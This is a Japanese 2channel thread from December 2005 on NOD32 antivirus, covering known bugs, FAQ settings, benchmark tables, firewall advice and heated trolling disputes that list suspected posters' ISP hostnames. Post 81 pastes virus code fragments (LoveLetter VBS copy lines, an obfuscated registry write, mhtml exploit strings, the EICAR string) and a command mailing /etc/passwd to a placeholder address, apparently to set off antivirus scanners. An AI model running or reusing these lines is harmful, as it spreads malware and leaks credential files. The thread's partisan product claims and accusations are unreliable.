05/12/26 01:20:02
○公式サイト
＜キヤノンシステムソリューションズ(販売)＞[日本語]
URLﾘﾝｸ(canon-sol.jp)
＜Eset社(開発元)＞[英語]
URLﾘﾝｸ(www.nod32.com)
カカクコム「NOD32」掲示板
URLﾘﾝｸ(www.kakaku.com)
【前スレ】
NOD32アンチウィルス Part26
ｽﾚﾘﾝｸ(sec板)
○既知の問題点
・UPX圧縮ファイルがNOD32のAMONと干渉
・NOD32をWindows Server 2003で使っている一部のユーザーでsp1をあてると通信不能となり、最悪の場合リブートの繰り返しとなる。
・一部の環境においてMicrosoft Update(Windows Update)が正常に実行出来ない現象が発生 ↑
この３つの問題はVer2.50.42にバージョンアップする事により回避出来ます。
>・NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。
>・Windows シャットダウン時にブルースクリーンになる問題
>・登録済みのアプリが強制抹消される問題
URLﾘﾝｸ(canon-sol.jp)
↑
●現在は問題無し。
2:名無しさん＠お腹いっぱい。
05/12/26 01:20:49
【Ｑ＆ＡおよびＦＡＱ】
○まずは公式ページのQ&Aを参照しましょう
URLﾘﾝｸ(canon-sol.jp)
○その他 Q&A
Q.What Is N-O-D?
A.フォーラムでのその質問に対する答えです。
URLﾘﾝｸ(www.wilderssecurity.com)
Q.PFW機能はありますか？
A.純粋なアンチウィルスソフトなので、ファイアーウォールは搭載してません。
Freeで優秀なソフトがありますので、そちらをお使い下さい。
(例：ZoneAlarm,Outpost Firewall(FREE),Sygate Personal Firewall ,Kerio Personal Firewall）
Q.やっぱりAMONが重い。*
A.AMONの「設定」で「検出」の「ファイル」-「検査を実行」 -
「実行時」又は「オープン時」のチェックを外す。＜ただし、自己責任で＞
Q.telnetdやcvsで不具合が出た。*
A.AMONの「設定」で「検出」の「メディア」-「ネットワーク」のチェックを外す。
Q.AMONの常駐を一旦停止してから再び再開しようとすると、
「常駐保護をロードできません」と表示され、再開できない。
A.システムによってはこのような現象が起こる場合があるので、
その場合はOSを再起動して下さい。(取説より)
また、停止ボタンを押さずに、一時停止ボタンを利用するのも手でｼ
Q.FDのスキャンを止められない。
A.オプションのFDのスキャンと、AMON→設定→ブートセクタの検査を実行のチェックをはずす
Q.メールソフトで不都合が出た
A.IMONの詳細設定を弄くってみる。
3:名無しさん＠お腹いっぱい。
05/12/26 01:22:08
Q.最強のアンチウイルスが欲しいです。
A.NOD32が最強です。
4:名無しさん＠お腹いっぱい。
05/12/26 01:22:11
2005年度 Virus Bulletin誌の試験結果 スキャン性能とオンアクセス性能 (全てVB100%認定品)
---------------------------------------------
exeファイル OLE exe(zip) ole(zip) 検出性能(総合)
---------------------------------------------
AhnLab V3 Pro
１００秒（ １倍） １９秒 ２１秒 １３秒 ミス=５，６５０ 2005/02 NT 4.0
３１秒（ １倍） ７秒 ９０秒 １８秒 ミス=３，２９４ 2005/06 XP
２６秒（ １倍） ８秒 ３９秒 １３秒 ミス=９，０８０ 2005/10 2003
Ｅｓｅｔ
１０５秒（ １倍） １４秒 ３２秒 １６秒 完璧でした 2005/02 NT 4.0
９９秒（ ３倍） １１秒 ４０秒 ９秒 ミス=２ 2005/06 XP
２７秒（ １倍） ３秒 ２３秒 ５秒 完璧でした 2005/10 2003
１８秒（ １倍） ２秒 １３秒 ３秒 完璧でした 2005/12 2003 X64
Ｋａｓｐｅｒｓｋｙ
２３９秒（ ２倍） ３０秒 ９７秒 ２６秒 ミス=２ 2005/02 NT 4.0
１１２秒（ ４倍） １３秒 ６９秒 １７秒 ミス=２ 2005/06 XP
１１６秒（ ３倍） １４秒 ６２秒 １６秒 ミス=２ 2005/10 2003
８５秒（ ５倍） ８秒 ４０秒 ９秒 ミス=２ 2005/12 2003 X64
ＢｉｔＤｅｆｅｎｄｅｒ
５９１秒（ ６倍） ２０秒 １９８秒 １８秒 ミス=５５ 2005/02 NT 4.0
５０７秒（１６倍） ７秒 １５０秒 ８秒 ミス=２０ 2005/06 XP
４６０秒（１７倍） １１秒 １８９秒 １６秒 ミス=５６ 2005/10 2003
Ｓｙｍａｎｔｅｃ
２４０秒（ ２倍） ３１秒 ９１秒 ２９秒 完璧でした 2005/02 NT 4.0
１７３秒（ ５倍） ２１秒 ６２秒 ２０秒 完璧でした 2005/06 XP
１４７秒（ ５倍） １６秒 ７２秒 １４秒 完璧でした 2005/10 2003
７９秒（ ４倍） ７秒 ３３秒 ５秒 完璧でした 2005/12 2003 X64
---------------------------------------------
5:名無しさん＠お腹いっぱい。
05/12/26 01:22:56
av-comparatives
> URLﾘﾝｸ(www.av-comparatives.org)
ここの比較も信頼性が高い、ただ、NOD32はインストーラ型をオンデマンドで検知しませんから
若干不利な結果になっています。
--------------------------テンプレここまで------------------------
6:AhnLab V3 Pro ◆Kp.ie5QfJM
05/12/26 01:27:53
あかんな～安いからこうたんやけど こんなもん見せられたらネット繋がれへんわ 本間
7:名無しさん＠お腹いっぱい。
05/12/26 01:32:52
|// / /___, -一ｧ| /! |ﾄ、|│ | | く」
|,-‐￢ ￣---┘'７ |! ﾊ! |,､-┼十|! | | |
, -‐ ''" し' '´_ ／,ィ二l |ﾄ、/!ヽﾄ､＼_ヽ!|!l | ﾊ |
,r／ __ ,イ|ﾘ ヾハ! ヽ! ,ィ⌒ヾﾐﾘﾉ!/ﾘ |
／ ||ヽ -' ／￣ )｀ __ |ヒﾉ:} '` ,ｲ/ | | >>1 乙であります！
,r ' ヾ､ ,-､＿___ , イ￣,r=＝- ==-' ﾚ' /| |
／ ヽ `ーｿ ' | |ﾄ､,ﾍ ′"" "" / / || |
. ／ ＼_ ／ | ﾊ ヽ｀ﾞ'ﾍ ' '__. ィ ／ / | | |
／ / / | ヽ 川＼ ヾ三ﾆ‐'′／/! | | | |
/ / / 八 ＼川| |`ト- .. __ , イ‐ｧﾍ | | ||
8:名無しさん＠お腹いっぱい。
05/12/26 01:35:33
>>6
いや、そんなに落ち込まなくても・・・
NOD32が特別なだけで・・・
軽くて、スキャン速度が速いのはNOD32を除けば多かれ少なかれV3と同じような傾向になるよ。
V3はVB100認定されているから、それなりに安心して使えるアンチウィルスソフトだよ。
9:AhnLab V3 Pro ◆Kp.ie5QfJM
05/12/26 01:41:27
>>8
本間？安心したわ そやけどＮＯＤ32はどないな結果やの？
Ｓｙｍａｎｔｅｃはええみたいやな
10:名無しさん＠お腹いっぱい。
05/12/26 01:42:19
NOD32 過去の主なトラブル履歴
2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
URLﾘﾝｸ(canon-sol.jp)
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
URLﾘﾝｸ(canon-sol.jp)
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
URLﾘﾝｸ(canon-sol.jp)
スキャンすると受信メールの全部が削除される問題
URLﾘﾝｸ(canon-sol.jp)
Windowsアップデートができなくなる問題
URLﾘﾝｸ(canon-sol.jp)
11:AhnLab V3 Pro ◆Kp.ie5QfJM
05/12/26 01:52:49
>>10
本間かいな？怖いな
12:名無しさん＠お腹いっぱい。
05/12/26 02:03:28
>>10
そのテンプレ、項目がかなり足りないみたい
NOD32 主なトラブル履歴
2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
URLﾘﾝｸ(canon-sol.jp)
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
URLﾘﾝｸ(canon-sol.jp)
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
URLﾘﾝｸ(canon-sol.jp)
スキャンすると受信メールの全部が削除される問題
URLﾘﾝｸ(canon-sol.jp)
プリンタとの相性で印刷不能になる問題。
URLﾘﾝｸ(canon-sol.jp)
Windowsアップデートができなくなる問題
URLﾘﾝｸ(canon-sol.jp)
13:名無しさん＠お腹いっぱい。
05/12/26 02:06:56
価格ドットコムのクラック事件の時に流れた「早期に検出できたのはNODだけ」という誤報の顛末。
※誤報
>URLﾘﾝｸ(itpro.nikkeibp.co.jp)
>5月11日時点で今回のウイルスに対応していたのは，「NOD32」という対策ソフトだけだった
>（価格コムが）NOD32の情報しか記載していなかったのは，同製品でしか検出できなかったためである
※価格自身が後になって5月4日から既に対応済みのソフトがあったと情報を訂正
>URLﾘﾝｸ(www.kakaku.com)
>カスペルスキー 2005.5.4 Trojan-PSW.Win32.Delf.fz
>※1 各ソフトメーカーによってウイルスの名称や、ウイルスの定義（複数のウイルスを１つのウイルスとして
>検知するソフトもございます）は異なりますが、同様に検出が行えます。
14:AhnLab V3 Pro ◆Kp.ie5QfJM
05/12/26 02:09:14
そやけどＮＯＤ３２スレでそんなん書いてええの？ここのスレ異様やな 怖いわ
15:名無しさん＠お腹いっぱい。
05/12/26 02:24:05
別に.....
散々既出ですすから
16:15
05/12/26 02:25:41
－す
17:名無しさん＠お腹いっぱい。
05/12/26 03:04:07
二人のNOD厨
NOD厨と淫厨を兼ねる
ｽﾚﾘﾝｸ(tubo板)
URLﾘﾝｸ(66.102.7.104)
URLﾘﾝｸ(z-temp.hp.infoseek.co.jp)
ｽﾚﾘﾝｸ(infosys板)
URLﾘﾝｸ(mossarilog.at.infoseek.co.jp)
Qちゃん
ｽﾚﾘﾝｸ(tubo板)
18:名無しさん＠お腹いっぱい。
05/12/26 03:06:16
口調に注目。
またNOD厨の雑音が、他の製品スレ（Kaspersky）を200レス以上の自演で埋めていた。
>Kaspersky Lab Part5
>ｽﾚﾘﾝｸ(sec板)
>951 名前：名無しさん＠お腹いっぱい。 投稿日：2005/12/06(火) 01:52:56
>あと、企業によっては恐ろしく古いシステムを使いつづけてる場所もあるぞっと。
>スクープ！録音さん
>URLﾘﾝｸ(z-temp.hp.infoseek.co.jp)
>902 ： ◆Rb.XJ8VXow ：04/04/18 21:19 ID:CE6MO5Gj
>あ、887はどんな言語でもいいぞっと。
>さらに、データの読み込み部は記述ふようだぞっと。
雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
Q
usr.starcat.ne.jp
dsl.gol.ne.jp
19:名無しさん＠お腹いっぱい。
05/12/26 03:18:10
そろそろ寝るぞっと。
20:名無しさん＠お腹いっぱい。
05/12/26 03:32:29
じゃあageときますねｗ
21:名無しさん＠お腹いっぱい。
05/12/26 03:41:25
> 本間？安心したわ そやけどＮＯＤ32はどないな結果やの？
EsetがNOD32だよ。
検査性能とスキャン速度、どれを取っても一級品なのがNOD32
> Ｓｙｍａｎｔｅｃはええみたいやな
既知のウィルスに対しての防衛力は非常に高いから安心だよ。
シマンテックの泣き所は重いのとスキャン速度ん゛遅いこと。
それともう一つはヒューリスティック性能が低いことです。
22:名無しさん＠お腹いっぱい。
05/12/26 05:40:16
NOD32を使用しようと考えているのですが、ユーザーの方々はどのようなFWと併用しているのですか？
また組み合わせで不都合があった等も教えていただけると参考になり助かります。
23:名無しさん＠お腹いっぱい。
05/12/26 05:45:29
>>22
NODがあればFWはいらない
24:名無しさん＠お腹いっぱい。
05/12/26 06:22:59
>>23
しねよ
25:名無しさん＠お腹いっぱい。
05/12/26 06:34:33
>>24
脅迫ですか？
通報しますよ？
26:名無しさん＠お腹いっぱい。
05/12/26 06:44:43
＞＞22
俺の場合 ＮＯＤ32＋ＺＡ＋ＳＧアンチスパイ これ最強
不具合 重い。。。。。。。。。。。。。。。。。
27:名無しさん＠お腹いっぱい。
05/12/26 06:52:06
>>23 25
あんたクラッカーか？
そんな気がする
28:名無しさん＠お腹いっぱい。
05/12/26 07:16:29
>>25
FWｲﾗﾈとか逝ってるくらいだから
脅迫されるようなﾍﾀﾚじゃねぇべｗｗ
29:名無しさん＠お腹いっぱい。
05/12/26 07:47:27
NAPTがあればFWなんていらね！
だが、こちらから勝手にコネクション張る通信は防げない。
やっぱFWいるよね・・・
30:名無しさん＠お腹いっぱい。
05/12/26 08:59:29
NOD32 + ZA Pro + Spy Sweeper な漏れが来ましたよ。
31:名無しさん＠お腹いっぱい。
05/12/26 10:02:44
FWなんか個人で好きなの使えばいいと思うが
ESETにはこのままアンチウイルスに特化する方向でいってもらいたい
どこぞのメーカーみたいに余計な機能ごちゃごちゃつけ付けてほしくない
32:31
05/12/26 10:04:31
訂正： ×つけ
33:名無しさん＠お腹いっぱい。
05/12/26 10:13:47
主なトラブル履歴
2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
URLﾘﾝｸ(canon-sol.jp)
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
URLﾘﾝｸ(canon-sol.jp)
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
URLﾘﾝｸ(canon-sol.jp)
スキャンすると受信メールの全部が削除される問題
URLﾘﾝｸ(canon-sol.jp)
Windowsアップデートができなくなる問題
URLﾘﾝｸ(canon-sol.jp)
34:名無しさん＠お腹いっぱい。
05/12/26 10:15:19
※NOD32アンチウイルス＠避難所
URLﾘﾝｸ(yy13.kakiko.com)
【動機は？】雑音犬畜生Part34【\6kの高級ｹｰｽﾏﾀﾞ?】
ｽﾚﾘﾝｸ(tubo板)
【ｳﾝｺ男爵】starcatの荒し屋Ｑ 別名○ 9【GJ】
ｽﾚﾘﾝｸ(tubo板)
セキュリティ板に強制ID制を導入すべきか否か
ｽﾚﾘﾝｸ(vote板)
35:名無しさん＠お腹いっぱい。
05/12/26 10:16:22
で？
36:名無しさん＠お腹いっぱい。
05/12/26 10:18:57
スレ常連の問題行動
「NODスレに書き込むときはfusianaします」と宣言したくせに、後で運営がNODスレをログ掘りしたら、
名無しで書き込んでいたのが判明。平気で嘘をつく。
>【軽快動作】NOD32【アンチウイルスソフト】
>ｽﾚﾘﾝｸ(sec板)
>482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp 投稿日：2005/04/25(月) 10:45:08
>緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。
ログ掘りで分かったp84bedc.osaknt01.ap.so-net.ne.jpから名無しで投稿されたレス。
>NOD32アンチウィルス Part19.1
>ｽﾚﾘﾝｸ(sec板:57番)
>57：名前：名無しさん＠お腹いっぱい。投稿日：2005/07/03(日) 13:27:11
>あたまのおかしな人へ
>貴方の頭の中には沢山の雑音さんが住んでいるようですけど、どれが本当の雑音ですか？
>もしかしたら私も雑音？
運営のログ掘り
>ｽﾚﾘﾝｸ(sec2chd板:16番)
>名無しさん＠お腹いっぱい。<>sage<>2005/07/03(日) 13:27:11 <>あたまのおかしな人へ <>p84bedc.osaknt01.ap.so-net.ne.jp
37:名無しさん＠お腹いっぱい。
05/12/26 10:19:40
>NOD厨の宣言
>
>NOD32アンチウィルス Part24
>457 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/11/20(日) 16:47:32
>ノートンは糞、何度でも言ってやるよｗｗ
>そこらじゅうで言ってやるぜｗｗ
>Kasperskyスレをコピペ荒らししてアク禁になったのもNOD厨だった。
>★20050705 Kaspersky荒らし報告スレ★
>ｽﾚﾘﾝｸ(sec2chd板)
>66 名前： ◆Wan01KGV.. [sage] 投稿日：2005/07/05(火) 20:39:02 ID:X6+1LwWa0
>報告>>3-32 ログ>>33-63
>starcat.ne.jp 296res
>
>規制>>64
>starcat.ne.jp 規制
>
>68 名前：AirRock ★ [sage] 投稿日：2005/07/05(火) 22:41:48 ID:*********0
>67
>規制＠全サーバ No.2
>ｽﾚﾘﾝｸ(sec2ch板:309番) 2005/07/05(火) 22:40:57
38:名無しさん＠お腹いっぱい。
05/12/26 10:20:13
雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
Q
usr.starcat.ne.jp
dsl.gol.ne.jp
39:名無しさん＠お腹いっぱい。
05/12/26 10:21:13
881 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/12/11(日) 16:34:12
スパイウェアに対する検出力評価
URLﾘﾝｸ(www.infoworld.com)
1位 F-Secure
2位 Webroot
3位 LANDesk
4位 Sunbelt
5位 SurfControl
6位 McAfee
7位 Trend Micro
8位 eTrust
9位 NOD32 v2.5
884 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:36:41
>>881
それ、アンチスパイ専門ソフトとの比較だろ?
比較されるだけでもNOD32が優秀なアンチスパイ機能を備えている証明だよ。
889 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:42:58
>>884
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。
920 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:12:00
>>917
元々が総合セキュリティ(アンチスパイウェア含む)製品なんだよ。
お前の無知を私に押し付けるなって。
936 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:20:04
>>931
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
40:名無しさん＠お腹いっぱい。
05/12/26 14:15:42
まーた、始まった！
41:名無しさん＠お腹いっぱい。
05/12/26 15:08:34
【NOD32 過去スレ・関連スレ】
全て雑音 pd3fc89.osaknt01.ap.so-net.ne.jpが立てたと思われるものです。
基地外を監視するスレッド ｽﾚﾘﾝｸ(sec板)
NOD32ユーザーが真性荒しに抗議するスレッド ｽﾚﾘﾝｸ(sec板)
NODユーザーが真性荒しに抗議するスレッド２ ｽﾚﾘﾝｸ(sec板)
NOD32ユーザーの避難所 ｽﾚﾘﾝｸ(sec板)
NOD32アンチウィルス Part11 ｽﾚﾘﾝｸ(sec板)
NOD32アンチウィルス Part11' ｽﾚﾘﾝｸ(sec板)
NOD32アンチウィルス Part11'' ｽﾚﾘﾝｸ(sec板)
エヌ・オー・ディ32アンチウィルス Part11 ｽﾚﾘﾝｸ(sec板)
エヌ・オー・ディ32アンチウィルス Part11' ｽﾚﾘﾝｸ(sec板)
NOD32アンチウィルス Part12 ｽﾚﾘﾝｸ(sec板)
Part12 アンチウィルスソフト NOD32 ｽﾚﾘﾝｸ(sec板)
NOD32隔離専門板 Part1 ｽﾚﾘﾝｸ(sec板)
NOD32アンチウィルス Part13 ｽﾚﾘﾝｸ(sec板)
【マターリ】 N O D 3 2 スッドレ Part1 【雑談】 ｽﾚﾘﾝｸ(sec板:64番)
Nemocnica na Okraji Disku ｽﾚﾘﾝｸ(sec板)
セキュリティ板自治議論スレッド ３（自治スレを装った悪質な重複スレ） ｽﾚﾘﾝｸ(sec板)
42:名無しさん＠お腹いっぱい。
05/12/26 16:51:11
なんでIDださんの？
４回くらい逝ったほうがいいと思うよ
43:名無しさん＠お腹いっぱい。
05/12/26 17:10:33
昼間っからキチガイターイム！冬休み最高！
44:名無しさん＠お腹いっぱい。
05/12/26 19:17:26
>>30
重くね？PestPatrolの方がいいべ
45:名無しさん＠お腹いっぱい。
05/12/26 19:50:09
あの糞フト大賞を使ってる基地外がいたのか。
46:名無しさん＠お腹いっぱい。
05/12/26 20:01:01
IMON使ってると
Gyaoの本編が再生されないんだけど、どうにか対処できない？
たぶん1.1339(20051224)からだと思うんだけど。
On Off繰り返して使ってます。。
47:名無しさん＠お腹いっぱい。
05/12/26 20:19:33
ウチじゃ問題なくできてる。
自分の低脳スキルをNODのせいにするのは間違ってるな>>46
48:名無しさん＠お腹いっぱい。
05/12/26 20:26:32
＞＞47
( ´,_ゝ`)ﾌﾟｯ
49:名無しさん＠お腹いっぱい。
05/12/26 20:41:44
ウチでも問題ない。
自分の低脳スキルをNODのせいにするのは間違ってるぞ>>46
50:名無しさん＠お腹いっぱい。
05/12/26 20:52:02
正規購入品ならサポートに聞け
割れなら氏ね♪
★★★★★★★★★糸冬了★★★★★★★★★
51:名無しさん＠お腹いっぱい。
05/12/26 21:09:09
>>45
死ね
52:名無しさん＠お腹いっぱい。
05/12/26 21:12:42
このスレにいる奴全員割れだろｗ
図々しいんだよｗ
53:名無しさん＠お腹いっぱい。
05/12/26 21:30:14
我とは限らないのでは…
渡来版繰り返して使っている方もいるでしょうし…
54:名無しさん＠お腹いっぱい。
05/12/26 21:44:10
ぶっちゃけ割れ座も体験版乞食も目糞鼻糞
55:名無しさん＠お腹いっぱい。
05/12/26 22:05:38
>> セキュリティ板自治議論スレッド 3
>> ｽﾚﾘﾝｸ(sec板:856番)
856 名前：NODスレを荒らしてる犯人はコイツ! 投稿日：2005/06/12(日) 07:44:25
>>851-852=
115 名前：”削除”依頼[sage] 投稿日：2005/05/26(木) 23:40:37 HOST:218.231.112.137.eo.eaccess.ne.jp
削除対象アドレス：ｽﾚﾘﾝｸ(sec板)
削除理由・詳細・その他：6.重複（誘導68）
1がマルチコピペ+私怨の書き込みでできており、まともなスレッド進行にならないため。
121 名前：”削除”依頼[] 投稿日：2005/06/10(金) 00:30:10 HOST:218.231.112.67.eo.eaccess.ne.jp
削除対象アドレス：ｽﾚﾘﾝｸ(sec板)
削除理由・詳細・その他：6.重複（誘導10）
1がマルチコピペ+私怨の書き込みでできており、まともなスレッド進行にならないため。
【eo.eaccess.ne.jp】
↑
本スレとたてられているスレに対して執拗に削除依頼を繰り返している。
56:名無しさん＠お腹いっぱい。
05/12/26 22:07:37
ウイルスセキュリティスレの自演荒らしはNOD厨だった。
>ｽﾚﾘﾝｸ(sec板) 【ウイルスセキュリティ Part13】
>>524 名前：p84bedc.osaknt01.ap.so-net.ne.jp 投稿日：2005/06/28(火) 01:21:52
>ほんじゃ～最後にＶＳに付いてプロからのコメントを残しておくぞ。
>
>ｽﾚﾘﾝｸ(tubo板)【雑音犬畜生Part29】
>>757 名前：p84bedc.osaknt01.ap.so-net.ne.jp 投稿日：2005/07/03(日) 22:38:02 ID:CpVgWHbQ
> 私を叩くと称して荒らし放題。
>
>「 私を叩くと称して荒らし放題。」つまり本人が、雑音=p84bedc.osaknt01.ap.so-net.ne.jpと認める。
57:名無しさん＠お腹いっぱい。
05/12/26 22:10:25
ノートン叩き工作の犯人もNOD厨だった。
【ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.75】
>27：名無しさん＠お腹いっぱい。：2005/10/21(金) 21:22:37
>ノートンスレは常にNOD厨の工作投稿で一杯なので、初めて来た人は注意が必要です。
>Ver73スレのように1日で400レスほども大量に書き込むことも珍しくありません。
>284 名前：281 [sage] 投稿日：2005/10/24(月) 14:55:32
>自治スレで話題になっていたので、録.音が投稿しているというサイト↓を見に行ってきたよ。やはりそこでも嫌われてた。
>URLﾘﾝｸ(higaitaisaku.com)
>そこで用いられているハンドルをインタネ検索してみたところ、教えて！goo掲示板にて、
>ある時は中年窓際会社員として、ある時は車の整備士として、離婚相談からアンチウイルス選びまで
>大活躍をしていることを知った。
>
>URLﾘﾝｸ(oshiete1.goo.ne.jp)
>無理にそう言った重いソフトでチェックしなくても他のチェックサイトを試されてはいかがでしょうか？
>こちらを紹介しますのでシマンテック以外を選択されてチェックしてみてください。
>蛇足ですがこちらのウィルス対策ソフトは非常に軽くて使いやすくて
>本当にいいです、私が使っています。
>体験版がありますので一度使ってみてください。（URLﾘﾝｸ(canon-sol.jp)）
>
>URLﾘﾝｸ(oshiete1.goo.ne.jp)
>実は私もあなたと同じようにここの掲示板で似たような質問をして
>紹介してもらったのは、N.OD32と言うウィルスソフトです。
>これは本当に軽くて使いやすい！
>NISに比べるとウィルスソフトが入っている事がウソのように感じます。
>N.OD32、キャノンのサイトです。（体験版があります。）
>ただしこれはウィルスソフトだけですからファイアーウォールソフトは別に用意する必要があります。
>それもここの掲示板で教えていただいたのですが、Outpost Firewall と言うフリーのソフトです。
58:名無しさん＠お腹いっぱい。
05/12/26 22:11:25
ウイルスバスター叩き工作の犯人もNOD厨だった。
深刻な被害を受けている善良なバスターユーザーの心からの訴え。
311 名前：VB2006 [sage] 投稿日：2005/10/26(水) 12:36:49
【2005使いも】ウイルスバスター2006 Part1【歓迎】
ｽﾚﾘﾝｸ(sec板)
ですが、荒らしがひどくて困ってます。
2006にアップグレードしたばかりで、みんなは本当の情報をほしがっているのに
どうにもなりません。
おそらく同一個人みたいなのですが、NODと比較して重いとか、VBアンインスコしたら
ニートの弟が働きだしたとか、もう手がつけられませんよ。
何とかなりませんか？
59:名無しさん＠お腹いっぱい。
05/12/26 22:12:21
---------------テンプレ終了---------------------
60:名無しさん＠お腹いっぱい。
05/12/26 22:26:36
>>50
試用中なわけだが。
おれにスキルがないのは分かったから
スキルがある人がどう使ってるのか
教えてください＞＜
61:名無しさん＠お腹いっぱい。
05/12/26 22:29:43
>>59
×---------------テンプレ終了---------------------
○---------------コピペ荒らし終了---------------------
62:名無しさん＠お腹いっぱい。
05/12/26 22:34:01
>>59
テンプレども。＾＾
なんか足りないと思ってた。
63:名無しさん＠お腹いっぱい。
05/12/26 22:43:54
>>62=コピペ荒らし
自演乙
64:名無しさん＠お腹いっぱい。
05/12/26 22:58:26
>>46
> IMON使ってると
> Gyaoの本編が再生されないんだけど、どうにか対処できない？
回線が貧弱過ぎるか、PCが貧弱、又は設定値を弄って動かない設定にした貴方自身の問題。
回避策は、IMONのHTTPタブ内の自動パッシブモードへの切り替え設定値わ小さくすると良い。
設定値を弄っているのならデフォルト値に、PCが貧弱なら512kb 30秒程度に 回線が貧弱過ぎるのなら自動パッシブをOFFに。
65:名無しさん＠お腹いっぱい。
05/12/26 23:05:29
>>58
勝手にNOD厨のせいだと決め付けるのは良くない。
というか、見ていると犯人はお前に思えてくるのが不思議だ。
良識がある人なら、こんなところへそんな煽り投稿などせず、荒らし報告スレを立てているよ。
66:名無しさん＠お腹いっぱい。
05/12/26 23:09:41
まあこれから楽しみなのは冬厨VS基地害かな。
67:名無しさん＠お腹いっぱい。
05/12/26 23:11:35
NODの人たちは無実だと思う。
NODの人たちの投稿を冷静に読めば、豊富な知識を持っていることが分かるから。
68:名無しさん＠お腹いっぱい。
05/12/26 23:13:17
自画自賛乙ｗ
69:名無しさん＠お腹いっぱい。
05/12/26 23:23:04
自画自賛と煽っても、実際にNOD32ユーザーの多くが豊富な知識を持つことは過去ログを読めば直ぐに分かる。
ついでに言うと、NOD32厨を騙って他スレを荒らしている奴の知識は貧弱＋程度が低いことが分かる。
これは、NOD32スレを執拗に荒らし続けている奴の投稿と殆ど同じ。
70:名無しさん＠お腹いっぱい。
05/12/26 23:42:44
>>69
なるほどね。
その自負心が、他製品スレを自演荒しした時の捨て台詞>>56
「ほんじゃ～最後にＶＳに付いてプロからのコメントを残しておくぞ。」
を言わせたワケね。
71:名無しさん＠お腹いっぱい。
05/12/27 00:01:36
すいません。特定のファイル・フォルダを検査対象から除外するにはどうしたらいいでしょうか？
ヘルプを見てもいまいちよくわかりませんでした。
72:22
05/12/27 00:27:44
>>23,26,29,30,31
レスどうもです。
>>26
NOD32は軽いという事なので、ZA比較的重め、SGアンチスパイ重め
この組み合わせで不具合は無しということですね。
>>30
こちらの組み合わせでも不具合は無し
動作の軽快さはどんな感じですか？
>>31
比較的知名度のあるFWとの組み合わせならば大した不都合は見られない
ということでしょうか？
あと、ZAがNOD32ユーザーの中では人気なんでしょうか？
73:名無しさん＠お腹いっぱい。
05/12/27 00:38:34
自演乙
74:名無しさん＠お腹いっぱい。
05/12/27 01:11:44
>>72
俺は Outpost Pro 使ってる。
NOD買うと安く Outpost が安く買えるから。
そういう人も結構いるんじゃないかな。
75:名無しさん＠お腹いっぱい。
05/12/27 01:13:48
ノ Outpost Free
76:69
05/12/27 01:41:57
> を言わせたワケね。
俺の投稿じゃないから知らん。
77:名無しさん＠お腹いっぱい。
05/12/27 02:22:11
今度のコテはシックスナインかw
78:名無しさん＠お腹いっぱい。
05/12/27 02:58:15
イタイ奴
79:名無しさん＠お腹いっぱい。
05/12/27 03:09:32
平和だな。にほん。
80:名無しさん＠お腹いっぱい。
05/12/27 03:17:18
シマンティックのオンラインスキャンを行うと、LoveLetterとUnix.Penguin が何個か見つかったんですが
これらはNODでは防げないのでしょうか？ （更新はちゃんとやってます
81:名無しさん＠お腹いっぱい。
05/12/27 03:47:36
脳豚来ないでね
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
82:名無しさん＠お腹いっぱい。
05/12/27 04:19:46
>>80
> これらはNODでは防げないのでしょうか？
両方とも防ぎます、見つかったことで感染すると思うのは間違っています。
83:名無しさん＠お腹いっぱい。
05/12/27 04:24:19
ウイルス対策ソフト＝重いのが常識かと思ってたけど
NODを使うようになって、それが間違いだと気づきました。
まるでウイルス対策ソフトが入ってないと錯覚させるぐらい軽いです。
とても素晴らしいです。
84:名無しさん＠お腹いっぱい。
05/12/27 04:59:03
豊富な知識を持ってる奴がZAを愛用するのかｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
85:名無しさん＠お腹いっぱい。
05/12/27 05:06:20
する人も多くいるよ。
しないと決め付けるのは無知な証拠なw
86:名無しさん＠お腹いっぱい。
05/12/27 05:26:17
FWの設定マンドクサイヤシも居るんよ
